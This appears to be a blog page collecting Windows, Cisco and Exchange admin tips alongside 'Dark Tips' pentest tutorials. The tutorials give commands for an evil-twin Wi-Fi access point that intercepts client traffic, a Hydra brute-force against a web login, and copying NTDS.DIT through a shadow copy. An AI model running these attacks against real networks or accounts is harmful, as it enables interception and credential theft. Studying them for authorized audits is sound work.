IT Admin Tips: Using Cisco SPAN for Network Troubleshooting

Despite being fairly seasoned in Information Technology, I am still quite new when it comes to Cisco commands. That being said, I am constantly learning more and more useful commands as I dive deeper into Cisco networking. For example, I recently came across using Cisco Switched Port Analyzer (SPAN) in order to troubleshoot the connectivity for a networked device. While this is probably something that many people who are formally trained in Cisco are already aware of, I figured I would share it with those of us who are not. Before we get into the setup of SPAN, you should first understand what it does, along with its use.

When implemented, Cisco SPAN allows you to have the traffic being sent/received on a specific switch port mirrored over to another port on the same switch. This allows you to connect your own device into this second port on the switch and perform analysis on the network traffic using tools such as Wireshark. By using this, you do not have to use any form of network tap, nor is there any impact on the device who's port you are mirroring. This is extremely useful when troubleshooting a "dumb" network device that has a minimal, if any, GUI/Command interface for you to use. Setting up a SPAN session is fairly simple, and can be performed via the following Cisco commands.

To best perform this, you should connect to your Cisco switch by way of a console cable. You should then use an application such as PuTTY in order to log into the switch. Once logged in, you should get into the configuration terminal via the following command:

config t

Once you are in the configuration terminal, you can then create the SPAN monitoring session. In order to do this you must setup the source interface and the destination interface. Naturally, the source interface is the network port who's traffic you wish to see, and the destination interface is the port that you are connected to. Setting up these interfaces can be accomplished via the following commands:

monitor session [Session #] source interface [Switch Port]
monitor session [Session #] destination interface [Switch Port]

Example of setting up a SPAN session.
Once you have ran these commands, you can go ahead and exit the configuration terminal (exit command), and then verify your SPAN session via the following:

show monitor

Verifying our SPAN session.
At this point, you will now be able to run a tool such as Wireshark in order to capture the network packets being sent/received on the source switch port from your own PC. Keep in mind that since you are now mirroring the network traffic on the source port to the port that you are connected to, you will no longer be able to access any network resources. An easy way around this would be to utilize a wireless connection if you do need to access any network resources while performing this network troubleshooting.

Assuming that you were able to obtain your packet capture successfully and are now finished using the SPAN session, you can go ahead and disable it. To do so, get back into the configuration terminal just as before. Once in the configuration terminal, you can run the following command to end the SPAN session.

no monitor session [Session #]

Ending our SPAN session.
As stated before, this is very likely something that anyone with formal Cisco training would already know how to do, but it is still a handy command for anyone who finds themselves troubleshooting network issues. Being able to get your hands on a packet capture of a troublesome device can allow you to more easily determine where the problem exists, thus saving you precious time.

Read More

IT Admin Tips: Protecting Your Active Directory Database

It has been far too long since I have covered something directly relating to IT Security, but today we will briefly go over a sometimes overlooked risk to a Windows Domain Controller's database file (NTDS.DIT), along with covering a potential mitigation for this risk.

What is NTDS.DIT and Why Should You Care?
To quote Microsoft, "Active Directory data is stored in the Ntds.dit ESE database file." This, unfortunately, doesn't really get the point across as to how important this file is both from a functionality perspective, but also that of security. Essentially, almost everything that is referenced by Active Directory is stored within this file. This includes User Objects, Groups, password hashes, etc. Yes, password hashes are stored in this file. Typically, this file is constantly locked by the SYSTEM user when the Operating System is running, and is not accessible by any other user whatsoever.

There are, however, a handful of ways for an attacker to obtain access to this file and its contents. Doing so allows them to copy down the file to a portable device, with which they can later extract and crack the password hashes stored within. One way would be for an attacker to boot the Domain Controller into a Linux environment, which allows the file to be easily accessed as it is no longer locked. This, however, would likely be noticed VERY quickly by an administrator of the system. Another way would be for the attacker to upload and run an application which would allow them to negate the file lock, but this might also be caught fairly easily by an administrator. There is, however, a fairly simple method, which is quite effective, that would allow the attacker to utilize a built-in feature in order to obtain the Active Directory database file... Volume Shadow Copy.

For sake of time, we will assume that the attacker has already obtained access to a Domain Administrator account, or some other account with the necessary permissions. Once they are able to log into the Domain Controller, they would essentially need to utilize the vssadmin utility to create a Shadow Copy of the C: Drive. Like so:

vssadmin create shadow /for=c:

Once the Shadow Copy is complete, they would merely need to copy the NTDS.DIT file and the Registry SYSTEM hive from within it. Using these, they could easily leverage one of the many freely-available tools in order to begin cracking all of the password hashes at their leisure.

How to Mitigate This Risk?
Fortunately, it isn't too incredibly difficult to provide a certain level of mitigation against this risk. In essence, you will need to remove the ability to start/stop the Volume Shadow Copy service from ALL users on the system(s), and to remove the ability to modify the security settings of the Volume Shadow Copy service from ALL users except for SYSTEM. In order to do so, you will need to follow the steps outlined below.

First, you will need a way with which you can easily deploy these changes and ensure that they remain in-place. For this, it is recommended to utilize a Group Policy. This should be a simple task for an administrator, and will therefore not be explained in detail. You will, however, need to do the following:
1. Create a Domain Group that this GPO will be applied to
2. Add your Domain Controllers into this Domain Group
3. Create a new Group Policy that will be applied ONLY to members of this Domain Group

Now that you have a Group Policy created, you can begin configuring the risk's mitigation. For this, you will first need to drill-down into the following location within your new Group Policy, Right-Click, and select Properties.

Computer Configuration -> Windows Settings -> Security Settings -> System Services -> VSS

Within the initial properties for VSS, you need to ensure that Define this policy setting is checked, and that the startup mode is set to Manual. Next, click Edit Security.

Within the Security for VSS screen, remove all Groups/Usernames from the list except for SYSTEM. After this, click Advanced in order to open the Advanced Security Settings options.

You will now need to ensure that SYSTEM has all permissions configured for DENY, except for Read Permissions and Change Permissions. After this, you can close out of the Permission Entry for VSS screen and return to the previous one.

Back in the Advanced Security Settings for VSS screen, you will need to click on the Auditing tab. From here, you will need to ensure that logging is enabled on ALL failures, and enabled for Successful starts of the service. Once this is complete, you can close out and save your changes.

After having done all of this, you may be wondering how exactly this all mitigates the risk that was previously presented. Essentially, what you have done is to force the Volume Shadow Copy service to only start manually, which prevents reboots of the Domain Controller from starting this service. You have also removed permission to start this service from ALL user accounts, including SYSTEM. This ensures that if an account happens to be compromised by an attacker, they cannot start the service. Auditing has also been enabled on this service, and will log any failures against it (e.g. someone attempting to start the service).

While the Volume Shadow Copy service is now restricted from being started by anyone, you did leave the ability to modify security permissions on this service to the SYSTEM account. This allows you, in the event that you utilize VSS for backups, to use the SYSTEM account to change the security permissions on the Volume Shadow Copy service to allow the service to be started by it. By doing this, you still retain a small risk, as someone could compromise the SYSTEM account and modify the security permissions, which is why Auditing was also enabled for any successful starts of the Volume Shadow Copy service.

At this point, you have greatly reduced the risk of someone obtaining your Active Directory database by leveraging the Volume Shadow Copy service, while retaining the ability to use it for your own Domain Controller backups.

Read More

IT Admin Tips: Automatically Logout Disabled User Account

Last week's article went over the steps of how to create a solution to determine the computer(s) a user logs into automatically. While this can be very useful information to have by itself, it also opens the door for other possibilities. One such possibility would be to have an automated process that forces a user to be automatically logged off of their computer(s) in the event that their domain account is disabled by an administrator.

The following will outline the solution to have a user's domain account be logged off of any computer(s) that they are currently logged into utilizing a scheduled PowerShell script. This process has been designed to work on Windows Server 2008 and later versions.

The first part of the PowerShell script should look similar to what was used in the Creating AD User Account Alerts article, as we will also need to get the most recent instance of Event ID 4725 which is caused from a domain account being disabled.

$Event = Get-EventLog -LogName Security -InstanceId 4725 -Newest 1

With the most recent instance of this Event ID, we now need to parse out the domain account name that has been disabled and then store it into a usable variable.

[String]$String = $Event.ReplacementStrings
$UserName = ($String).split()[0]

Next, we need to get the corresponding Distinguished Name of this user account from Active Directory.

$DN = dsquery user -samid $UserName
$DN = $DN -replace '"',""

Using this information, we can now query the ManagedBy attribute within Active Directory in order to determine what computer(s) this particular user is currently logged into.

$ComputerDNs = dsquery * -filter "(&(objectCategory=computer)(managedBy=$DN))"
ForEach ($ComputerDN in $ComputerDNs)
{
    $Computers+= ($ComputerDN -split ",")[0].substring(4) + ","
}

Due to how we have extracted this information, we now need to perform some cleanup of the output so that we have a usable Array containing the computer(s).

$Computers = $Computers.Split(",",[System.StringSplitOptions]::RemoveEmptyEntries)

With all of this information, we can now loop through the list of computers that this user is logged into and force their logoff.

ForEach ($Computer in $Computers)
{
    IF (Test-Connection -ComputerName $Computer -Count 4 -Quiet)
    {
        (gwmi win32_operatingsystem -ComputerName $Computer).Win32Shutdown(4)
        $SuccessList+= $Computer + "<br/>"
    } ELSE
    {
        $FailList+= $Computer + "<br/>"
    }
}

As a final touch, let's setup an E-Mail confirmation that will let yourself, and any other administrators, know what computer(s) this user has been logged off of, along with any that were unreachable (e.g. not connected to the network).

$Body = @"
The Domain User $UserName has been successfully logged out of the following computer(s): <br/>
$SuccessList <br/>
The Domain User $UserName has NOT been logged out of the following computer(s), please verify: <br/>
$FailList <br/>
"@
Send-MailMessage -to "[Your E-Mail Address or Distribution List]" -from "[UserID Running the Scheduled Task]" -subject "Disabled User Logged Out of Computer(s)" -body $Body -SmtpServer [SMTP Server IP] -BodyAsHTML

When it is all put together, your PowerShell script should look something like this.

$Event = Get-EventLog -LogName Security -InstanceId 4725 -Newest 1

[String]$String = $Event.ReplacementStrings
$UserName = ($String).split()[0]

$DN = dsquery user -samid $UserName
$DN = $DN -replace '"',""

$ComputerDNs = dsquery * -filter "(&(objectCategory=computer)(managedBy=$DN))"
ForEach ($ComputerDN in $ComputerDNs)
{
    $Computers+= ($ComputerDN -split ",")[0].substring(4) + ","
}

$Computers = $Computers.Split(",",[System.StringSplitOptions]::RemoveEmptyEntries)

ForEach ($Computer in $Computers)
{
    IF (Test-Connection -ComputerName $Computer -Count 4 -Quiet)
    {
        (gwmi win32_operatingsystem -ComputerName $Computer).Win32Shutdown(4)
        $SuccessList+= $Computer + "<br/>"
    } ELSE
    {
        $FailList+= $Computer + "<br/>"
    }
}

$Body = @"
The Domain User $UserName has been successfully logged out of the following computer(s): <br/>
$SuccessList <br/>
The Domain User $UserName has NOT been logged out of the following computer(s), please verify: <br/>
$FailList <br/>
"@
Send-MailMessage -to "[Your E-Mail Address or Distribution List]" -from "[UserID Running the Scheduled Task]" -subject "Disabled User Logged Out of Computer(s)" -body $Body -SmtpServer [SMTP Server IP] -BodyAsHTML

Just like with the previous article on Creating AD User Account Alerts, you will now need to schedule this PowerShell script within Task Scheduler on your Active Directory server using a Domain Account with the appropriate access. In order for this script to execute immediately whenever a user account is created, and therefore log them out of any computer(s) they are logged into, you will need to configure the task to be triggered whenever Security Event ID 4725 occurs.

By creating this PowerShell script and scheduling it to run on your Active Directory server, you now have an automated solution in-place to logoff any disabled domain accounts from the computer(s) that they are logged into. You also have an E-Mail that will be sent to you whenever this script is triggered to notify you of the computer(s) that the domain account was logged off of, along with any that were unreachable at the time of execution. While this should not be used as a replacement for proper business practices for employee termination, it can be a helpful backup for instances where their domain account has been disabled before corporate security, human resources, or their direct manager have made it to their desk in order to escort them out.

Read More

IT Admin Tips: Determine the Computer(s) a User Logs Into Automatically

While there are various solutions on the market that will allow you to extend your visibility into your domain, it is not always feasible to introduce a new product into your setup. In many cases, what you have now is what you will have for quite some time. That being the case, it is crucial to be able to leverage existing technologies in ways that can provide additional benefits for yourself, and other system administrators. One such example is being able to see what user is currently logged into a domain computer. While you can manually query this information via WMIC and QWINSTA, it is typically more beneficial to have this information automatically populated somewhere for you to quickly view when needed.

The following steps will guide you through the process of setting up a solution to have a user's username automatically populate within the ManagedBy attribute within Active Directory whenever they log into their computer.

I. Delegate Control for Domain Users
The first thing you will need to do is to configure Domain Users with the ability to Write to the ManagedBy attribute within Active Directory. For Windows Server 2008 and 2008 R2, this can be accomplished by following the steps outlined below.

  1.) Launch Active Directory User and Computers
  2.) Right-Click on the OU containing your Domain Computers
  3.) Select Delegate Control
  4.) Click Next
  5.) Add "Domain Users"
  6.) Click Next
  7.) Select "Create a custom task to delegate"
  8.) Click Next
  9.) Select "Only the following objects in the folder"
  10.) Select "Computer objects"
  11.) Click Next
  12.) Select the checkbox for "Property-specific"
  13.) Select "Read Managed By" and "Write Managed By"
  14.) Click Next
  15.) Click Finish

II. Create a Logon Script
Now that Domain Users have permission to Write to the ManagedBy, you will need to create a way for their Username to be automatically written to this attribute. For this, you can use the following VBScript code.

  Set objSysInfo = CreateObject("ADSystemInfo")
  
  On Error Resume Next
  Set objComputer = GetObject("LDAP://" & objSysInfo.ComputerName)
  
  objComputer.Put "managedBy", objSysInfo.Username
  objComputer.SetInfo

III. Creating a GPO to Deploy Logon Script
Finally, you can wrap this all together by creating a new Group Policy Object in order to deploy the VBScript as a Logon Script. Again, the following steps should work on Windows Server 2008 and 2008 R2.

  1.) Launch the Group Policy Management application
  2.) Create a new GPO linked to an OU containing your Users
  3.) Note the Unique ID for this new GPO
  4.) Copy your VBScript file into the corresponding Scripts directory, using the GPO's Unique ID.

Example: \sysvol\[DOMAIN NAME]\Policies\{UNIQUE POLICY ID}\User\Scripts\Logon
  5.) In the Group Policy Management Editor for your new GPO, navigate to:

User Configuration -> Policies -> Windows Settings -> Scripts (Logon/Logoff)
  6.) Double-Click on Logon
  7.) Click Add
  8.) Click Browse and select your new Logon Script
  9.) Click OK and Apply the new script

With this solution in-place, you can now query Active Directory in order to see who is currently logged into a domain computer. While this may not be as "snazzy" as what you might have with some sort of paid-for solution, this process won't set you back any money whatsoever, nor does it take very long to setup.

Read More

IT Admin Tips: Creating AD User Account Alerts

Having visibility into the changes going on within your systems can be critical for an IT professional, especially when it comes to your Active Directory system. I have come up with a quite simple, and very useful, setup that sends an automated alert whenever a User Account is Disabled, Created, or added to a Domain Group. This can help out whenever you have multiple individuals with access to perform these changes within Active Directory, as it will alert you immediately whenever it is performed, and it will provide insight into who has made the change.

In order to configure this setup, you should be familiar with Windows Task Scheduler, and you will need access to a Domain Account with the following:
     - Ability to schedule tasks on your Active Directory server
     - Read access to your Active Directory server's Event Logs
     - A corresponding E-Mail address from which you can send the alerts

Account Created Alert
In order to configure the alert for when a user account is created, you must first create the following PowerShell script:

$Event = Get-EventLog -LogName Security -InstanceId 4720 -Newest 1
$MailBody= $Event.Message + "`r`n`t" + $Event.TimeGenerated
send-mailmessage -from "[UserID Running the Scheduled Task]" -to "[Your E-Mail Address or Distribution List]" -subject "User Account was Created" -body $MailBody -smtpServer [SMTP Server IP]

Once this has been created, you can schedule it within Task Scheduler on your Active Directory server using a Domain Account with the appropriate access (listed above). Ideally, this account would be some sort of "service" account and not associated with a particular IT Admin. In order for this alert to be sent out immediately whenever a user account is created, you will need to configure the task to be triggered whenever Security Event ID 4720 occurs. This is key, as the above PowerShell script will send you an E-Mail with the content of the most recent instance of this Event ID. This will contain the user account that has been created, along with the administrative account that created it.

Account Added to Domain Group Alert
In order to configure the alert for when a user account is added to a Domain Group, you must first create the following PowerShell script:

$Event = Get-EventLog -LogName Security -InstanceId 4728 -Newest 1
$MailBody= $Event.Message + "`r`n`t" + $Event.TimeGenerated
send-mailmessage -from "[UserID Running the Scheduled Task]" -to "[Your E-Mail Address or Distribution List]" -subject "User Account was added to a Domain Group" -body $MailBody -smtpServer [SMTP Server IP]

Just like with the previous alert, you can now schedule it within Task Scheduler on your Active Directory server using the same Domain Account as before. In order for this alert to be sent out immediately whenever a user account is created, you will need to configure the task to be triggered whenever Security Event ID 4728 occurs. Just like with the previous alert, This is a key step. This particular alert will contain the user account that was added to a group, the corresponding domain group, and the administrative account that added it.

Account Disabled Alert
In order to configure the alert for when a user account is disabled, you must first create the following PowerShell script:

$Event = Get-EventLog -LogName Security -InstanceId 4725 -Newest 1
$MailBody= $Event.Message + "`r`n`t" + $Event.TimeGenerated
send-mailmessage -from "[UserID Running the Scheduled Task]" -to "[Your E-Mail Address or Distribution List]" -subject "User Account was Disabled" -body $MailBody -smtpServer [SMTP Server IP]

Just like with the previous two alerts, you can now schedule it within Task Scheduler on your Active Directory server using the same Domain Account as before. In order for this alert to be sent out immediately whenever a user account is created, you will need to configure the task to be triggered whenever Security Event ID 4725 occurs. As with the other alerts, this is important. This particular alert will contain the user account that was disabled, and the administrative account that disabled it.

If you have followed these steps correctly, you will now be able to receive E-Mail alerts whenever someone Creates a new Domain Account, adds an existing one to a Domain Group, or Disables an existing account.

NOTE: If you receive an error stating that "File cannot be loaded because the execution of scripts is disabled on this system" while testing your scheduled script, you will need to manually run the following PowerShell command in order to allow this feature:

Set-ExecutionPolicy Unrestricted

Read More

IT Admin Tips: Exchange ActiveSync Device Reporting (Apple Device Details)

Two years ago, I wrote an article outlining how to output a list of mobile devices that are currently synced to your corporate Exchange server via Exchange ActiveSync. While this method provides you with a very good list of devices that have been synced to your Exchange server, it doesn't quite differentiate on the different Apple products in enough detail.

Running the following script, outlined in the previously discussed article, will give you DeviceModel results such as "iPad2C4" or even "iPhone7C2." If you are trying to determine the particular Apple product's model information, this doesn't quite give you what you are after.

Get-ActiveSyncDevice | Select-Object DeviceModel,FriendlyName,DeviceOS,UserDisplayName | Sort-Object DeviceModel | Export-CSV -Path C:\ActiveSync-Devices.csv -NoTypeInformation

Thankfully, there is a way to determine the actual device information using these semi-cryptic names. Using the below table, you could easily craft a Formula within Excel that would provide you with the detailed device description using what was contained within the PowerShell script ran against your Exchange server.

User-Agent Prefix	Apple Product Information
iPhone	iPhone, 3G or 3GS with iOS 3.x
iPhone1C2	iPhone 3G with iOS 4.x
iPhone2C1	iPhone 3GS with iOS 4.x
iPhone3C1	iPhone 4 GSM
iPhone3C2	iPhone 4 GSM
iPhone3C3	iPhone 4 CDMA
iPhone4C1	iPhone 4S
iPhone5C1	iPhone 5 GSM
iPhone5C2	iPhone 5 CDMA
iPhone5C3	iPhone 5C GSM
iPhone5C4	iPhone 5C CDMA
iPhone6C1	iPhone 5S GSM
iPhone6C2	iPhone 5S CDMA
iPhone7C1	iPhone 6+ CDMA
iPhone7C2	iPhone 6 CDMA
iPod	iPod touch 1st, 2nd or 3rd generation with iOS 3.x
iPod2C1	iPod touch 2nd generation with iOS 4.x
iPod3C1	iPod touch 3rd generation with iOS 4.x
iPod4C1	iPod touch 4th generation
iPod5C1	iPod touch 5th generation
iPad	iPad with iOS 3.2.x
iPad1C1	iPad with iOS 4.2.x
iPad2C1	iPad 2 WiFi
iPad2C2	iPad 2 WiFi + 3G GSM
iPad2C3	iPad 2 WiFi + 3G CDMA
iPad2C4	iPad Mini - WIFI
iPad2C5	iPad Mini - WIFI + LTE
iPad3C1	iPad (3rd generation) WiFi
iPad3C2	iPad (3rd generation) WiFi + 4G Verizon / International
iPad3C3	iPad (3rd generation) WiFi + 4G AT&T / International
iPad3C4	iPad (4th Gen, WiFi Only)
iPad3C5	iPad (4th Gen, GSM, NA LTE)
iPad3C6	iPad (4th Gen, CDMA, LTE)
iPad4C1	iPad Air - WiFi
iPad4C2	iPad Air - WiFi + LTE
iPad4C4	iPad Mini with Retina Display - WIFI
iPad4C5	iPad Mini with Retina Display - WIFI + LTE

Just as an example, I created an Excel Formula to automate this process for me. In order to use the formula, I manually created a new column within the original output from Exchange (Column B), which this formula will be pasted into. I then added a new tab within the document to contain the above table's data. Tab 1, which was the original output, was named "ActiveSync-Devices" and the new tab was named "iOS Strings."

=INDEX('iOS Strings'!B:B,MATCH('ActiveSync-Devices'!A2,'iOS Strings'!A:A, 0))
Using this process, you will be able to expand upon the original PowerShell script in order to obtain further details upon the mobile devices connected to your Exchange ActiveSync.

Read More

Dark Tips: Setting Up an Evil Twin Wireless AP (Part 1)

When conducting a security audit, you should also make sure to test any wireless networks that may be setup. As these networks do not always require direct, physical access within the building housing the wireless access points, they can be exploited by someone in their car or even a pesky neighbor. In this tutorial, we will be utilizing Kali Linux in order to create an Evil Twin wireless access point, which can be useful in both testing the current wireless setup along with testing the human element of security.

An Evil Twin AP is a wireless AP that appears to be legitimate, sometimes even using the same SSID as another AP in the area, but allows an attacker to both view and control the data sent to/from any clients connected to it. Once connected to it, users typically would not suspect anything as they are able to successfully access any network assets and/or the Internet. Unfortunately for them, you are the Man-in-the-Middle and have visibility and control over their data packets.

Please note: The following tutorial is being tested against my own access point, and these steps should ONLY be performed against your own access point, or one you have been authorized to test against.

I. Equipment Needed
You will need a fairly decent wireless adapter in order to successfully perform this attack during an audit. I am currently using the Alfa AWUS036NH USB wireless adapter. This is perfect for using with Kali Linux, as it comes with the proper drives thus allowing you to get started quicker. You will also, naturally, need to be running Kali Linux.

II. Getting Started
Before we get started, you should go ahead and connect to a network that has Internet connectivity. You can do this via Ethernet or via WiFi. For this example, I will be connecting to a separate SSID of mine via my internal wireless card (wlan0). If you choose to use Ethernet, then in some of the example commands you will need to replace "wlan0" with "eth0."

Unless you already know the target SSID that you will be mimicking and the corresponding channel that it is operating on, you will need to run a quick wireless scan and determine that information. This can be quickly accomplished via the following command:

iwlist wlan1 scanning
After documenting both the SSID and channel of the target, let's enable our Alfa card to run in Monitor mode:

airmon-ng start wlan1
III. Configuring the Evil Twin
With the SSID and broadcasting channel of our target, we can begin by creating our own access point that will utilize this same information. This is done via the following command:

airbase-ng -e [Target's SSID] -c [Target's Channel] mon0

In this example, we are mimicking the SSID "SkyNet," which I have setup for testing.

Now you will need to configure the IP address and subnet mask for your access point. If you happen to know the IP scheme of your target, possibly by authenticating to it previously, then you should use its IP scheme.

ifconfig at0 up
ifconfig at0 [IP Address for Our AP] netmask [Subnet Mask for AP]

Next, we need to configure DHCP to run on our Evil Twin. Again, you should use the IP scheme of your target if you know that information already. Before enabling DHCP, we need to create a config file that we will be using. The following is the config file that is being used for this example:

     # Google's DNS servers
     option domain-name-servers 8.8.8.8, 8.8.4.4;
     default-lease-time 600;
     max-lease-time14400;
     option T150 code 150 = string;
     deny client-updates;
     one-lease-per-client false;
     allow bootp;
     ddns-updates off;
     ddns-update-style none;
     authoritative;
     # DHCP Scope & Configuration for our AP
     subnet 192.168.1.0 netmask 255.255.255.0 {
     interface at0;
     range 192.168.1.30 192.168.1.40;
     option routers 192.168.1.250;
     option subnet-mask 255.255.255.0;
     option broadcast-address 192.168.1.41;
     option domain-name-servers 8.8.8.8;
     allow unknown-clients;
     }

Using this configuration file, we can now we can enable DHCP on our AP:

dhcpd -d -f -cf /etc/dhcp/RogueAP_DHCPD.conf at0 &
IV. Configuring IP Forwarding
While we now have an access point that clients can connect to and obtain a proper DHCP address from, they still cannot connect to any network/Internet resources. In order to allow this, we will need to configure IP forwarding. This will allow anyone connecting to the fake SSID to have their connection routed through our other network adapter (wlan0).

We first need to add a static route and configure our access point's IP address as the local gateway.

route add -net [Network of our AP] netmask [Subnet mask of our AP] gw [AP's IP address]

Next, we can configure IP tables to accept routing using the following commands:

iptables -P FORWARD ACCEPT
iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
Finally, we activate IP Forwarding in the kernel by changing the value within the corresponding configuration file.

echo "1" > /proc/sys/net/ipv4/ip_forward
If you have followed all of these steps correctly, you should now have a functional Evil Twin access point that is mimicking the appearance of the targeted AP. Anyone connecting to what they believe is a legitimate access point will now have their data packets routed through your PC to the corporate network and/or Internet.

Tune in for part two where we go over some possibilities now that you have gained control over the clients' connectivity. To be continued...

Read More

Dark Tips: Brute-Forcing Web Logins with Hydra

If you ever find yourself doing a security assessment, you might run into a situation where you will want to brute-force the credentials to a web-based application. While initiating brute-force attacks against protocols like Telnet or FTP are fairly simple to setup, web-based logins can be a bit finicky. This is due to the fact that not all web logins accept credentials in the same manner, which will require a bit more work on your end. Let's go through an example to better understand this.

Standard web-based login page.
The first thing you will need to do is take a look at the source code of the login page itself. While you don't have to be a web designer in order to perform this task, it does help if you at least have a basic understanding of web code. It may vary from application to application, but you essentially need to find the code snippet that is responsible for actually submitting the credentials you have provided to the system itself. One of the easiest ways to do this is to search the source code for words like "password."

In the above example, you can see that line 139 contains exactly what we are looking for, and shows the URL that is used in order to submit the credentials to the system. Breaking it down to a more easily understood format, we end up with the following URL:

./cs57eb2e1b/config/System.xml?action=login&user=[USERNAME]&password=[PASSWORD]
Now that we have the URL that is being used to submit the credentials that we provide in the login page, we can perform a manual test with our web browser. We need to do this for two reasons. One being to verify that the URL we have obtained is correct, and the other is to discover what return string we will receive from the system in the event of a bad password. This is required to have prior to performing the brute-force with Hydra.

As you can see from the above image, the URL appears to be correct as we did not receive any "Page Cannot Be Found" or similar errors. We were also able to obtain the return string for a failed password, which is "Bad User or Password." Now that we have all of this information, we can begin using Hydra.

Assuming that you are utilizing Windows, you will need to download a compiled version for your OS. For this example, I used this one. You should also download a wordlist to be used with Hydra, preferably one that contains both usernames and passwords within it. There are far too many options available on the Internet for me to list just one, so you will need to search around until you find one that you like.

Now that you have Hydra installed, and have a wordlist to use, you can begin your brute-force attack against the web-based login. For this attack, we will be specifying Hydra to use the http-form-get service, due to our research earlier into how this login page submits credentials. We will also configure Hydra to use the URL that we discovered, and to pull the USERNAME and PASSWORD from the wordlist used. Knowing that an incorrect password returns the string "Bad User or Password," we will also add that into Hydra. Failing to do so will prevent Hydra from being able to determine a successful password from a failed one. With all of this information, our Hydra command should look something like the following:

     hydra -C Credentials.txt -t 1 -w 30 [Target IP] http-form-get "/cs57eb2e1b/config/System.xml?action=login&:user=^USER^&password=^PASS^:Bad User or Password"

Hydra should now begin its brute-force of the login page, going through each of the credentials within your wordlist. Looking at the packets with Wireshark confirms that Hydra is functioning correctly.

You can see that Hydra is going through each of the credentials in the wordlist correctly.
Depending on the size of your wordlist, this could take some time to complete. If you are lucky, however, you should eventually receive a response from Hydra showing that it has been able to determine the correct credentials for the application. Now you can login and move forward with your security assessment.

Read More

Dark Tips: Introduction to the USB Rubber Ducky

Today marks the inaugural "Dark Tips" post on this blog. In these posts I will be covering aspects of technology that are more focused around security auditing, and are therefore associated with the "darker" sides of technology (e.g. hackers). My hope is to be able to share things that I have come across that I find helpful when performing security audits, or things that I just find fascinating. For this first post, I will be going over Hak5's wonderful USB Rubber Ducky. While the USB Rubber Ducky has been around in the security industry for quite some time, I have just now gotten my hands on one.

Introducing the USB Rubber Ducky
The USB Rubber Ducky is a portable USB device that houses a custom built board with a 60 MHz 32-bit Processor with an SD card slot for expandable memory. While on the surface it has the appearance of a typical USB thumb-drive, to your PC it is seen as a keyboard. That's right, the Rubber Ducky is able to emulate a standard Human Interface Device, and is therefore trusted and able to function on most Operating Systems. The Rubber Ducky also offers the ability to fully script its "keystrokes" via its simplistic scripting language. This allows for payloads to be created that can run at over 1,000 words per minute!

On the left, the USB Rubber Ducky in its USB case. On the right, the provided SD card reader.
The USB Rubber Ducky can be used as part of a penetration test to gather data off of a PC, create a reverse shell, etc. Essentially, whatever you could perform while sitting at an unattended PC, the Ducky can do faster!

Writing Your First Ducky Script
To get started with writing your first Ducky script, you will first need to ensure that you have Oracle's Java Runtime Environment installed onto your PC. If you do not, then you can quickly download and install it from Oracle's website. Once you have verified that it is installed, you will need to download the Duck Encoder. This can be obtained from Github.

Creating a Ducky script is simple, and can be performed within Notepad. Go ahead and paste the following code into a Notepad file.
     DELAY 750
     GUI R
     DELAY 50
     STRING notepad.exe
     ENTER
     DELAY 150
     STRING Hello, World!

Before we encode this script to run on the Ducky, let's go over what exactly is happening in each step:
DELAY 750
   Causes a 750ms pause to occur before the next line of code is executed
GUI R
   Mimics the keyboard shortcut of Windows+R which launches the Run command
DELAY 50
   Another pause, this time 50ms
STRING notepad.exe
   Types "notepad.exe" into the Run command that was spawned
ENTER
   The equivalent of hitting "Enter" on the keyboard in order to begin running Notepad
DELAY 150
   Another pause
STRING Hello, World!
   Types "Hello, World!" into the spawned Notepad file for demonstration

Now that you have a fairly basic understanding of how the syntax for Ducky script works, let's go ahead and encode this program to be able to run on the USB Rubber Ducky. This is where you will be utilizing both the JRE and the Duck Encoder you downloaded previously.

1.) Start a Command Shell and navigate to the directory where your Ducky script is. Make sure you have placed the Duck Encoder into this directory as well.
2.)Run the following command:
java.exe -jar duckencode.jar -i [SOURCE.TXT]

In this example, The path to "java.exe" had to be included within the encode command.
3.) The file inject.bin should now have been created within this directory. This file will need to be copied over to the Rubber Ducky's SD card via the provided card reader (or a similar device).

Now that you have copied this demo script over to your Rubber Ducky's SD card, you can place it back into the Ducky itself. In order to test it out, you only have to plug it into a PC which will cause the correct HID drivers to be installed. In some cases, you may have to remove the Ducky and plug it back in after the drivers have been installed so that the payload will execute. If everything has worked correctly, you should see the Ducky go to work by opening up Notepad and typing "Hello, World!" into it.

Upgrading to the Twin Duck Firmware
While the Rubber Ducky is an amazing device, it can become a bit of a chore to go back and forth with removing the SD card from the Ducky, placing it into the card reader, and vice versa whenever you are testing out your scripts. Thankfully, there are some firmware upgrades available that will allow the device to work as both a HID and standard storage device at the same time.

If you choose to upgrade your USB Rubber Ducky's firmware, you will need to follow the steps outlined below.

1.) Download the Duck Programming zip file from Github.
2.) Extract the contents of this zip file into the directory you will be using.
3.) Ensure that you have Microsoft's Visual C++ Redistributable Package installed. If not, you can download it from Microsoft's website.
4.) Download and install FLIP.
5.) Copy the two files AtJniIsp.dll & AtLibUsbDfu.dll from the FLIP Program Files directory into the directory you have the Duck Programming files within.
6.) Download the Hex file of the firmware you wish to install from Github and place it into the same directory as the Duck Programming files. For this example c_duck_v2.1 was utilized.
7.) Place the USB Rubber Ducky into dfu-mode by holding down the button on the Rubber Ducky while inserting it into your PC.
8.) Manually select the Atmel drivers for the Rubber Ducky, which are within the directory atmel-flip-3.4.2-signed-driver that was extracted during Step 1.
9.) From a Command Shell within the directory containing the Duck Programming files, you should now be able to flash the new firmware onto the Ducky via the following command:

program.bat c_duck_v2.1.hex
If everything went smoothly, you should see output similar to the following, which shows that the firmware was upgraded successfully.

Twin Duck firmware has been successfully loaded!
Now you will not only be able to create and load Ducky scripts easier onto the device when testing them, but you can also reference the SD storage space as part of the scripts themselves. Consider the possibilities, you can create scripts that save their output to the SD card or even run additional executables off of the SD card itself.

Read More

SAP Admin Tips: Upgrading Your SAP Installation Server

In the past I have explained how to setup an SAP Installation Server, and later how to configure your first package for deployment. Today, we are going to quickly go through the steps of upgrading your SAP Installation Server with the most recent SAPGUI version. Typically, you would want to do this after you have tested the latest version yourself, and have verified that it works well in your environment. Keep in mind that once SAP has released a new version of SAPGUI, they will provide customers with an "End of Life" for support on older versions.

Upgrading your SAP Installation Server is a very simple process, and can be done in a very short amount of time.

PREREQUISITE. Download the Necessary Files
1. Log into the SAP Software Download Center. This will require that you have an SAP S-ID.
2. Navigate to the Installation and Upgrades -> My Company's Application Components -> My Company's Software -> SAP GUI FOR WINDOWS -> SAP GUI FOR WINDOWS 7.40 CORE -> Installation
3. Download and extract the file using the Download Basket.


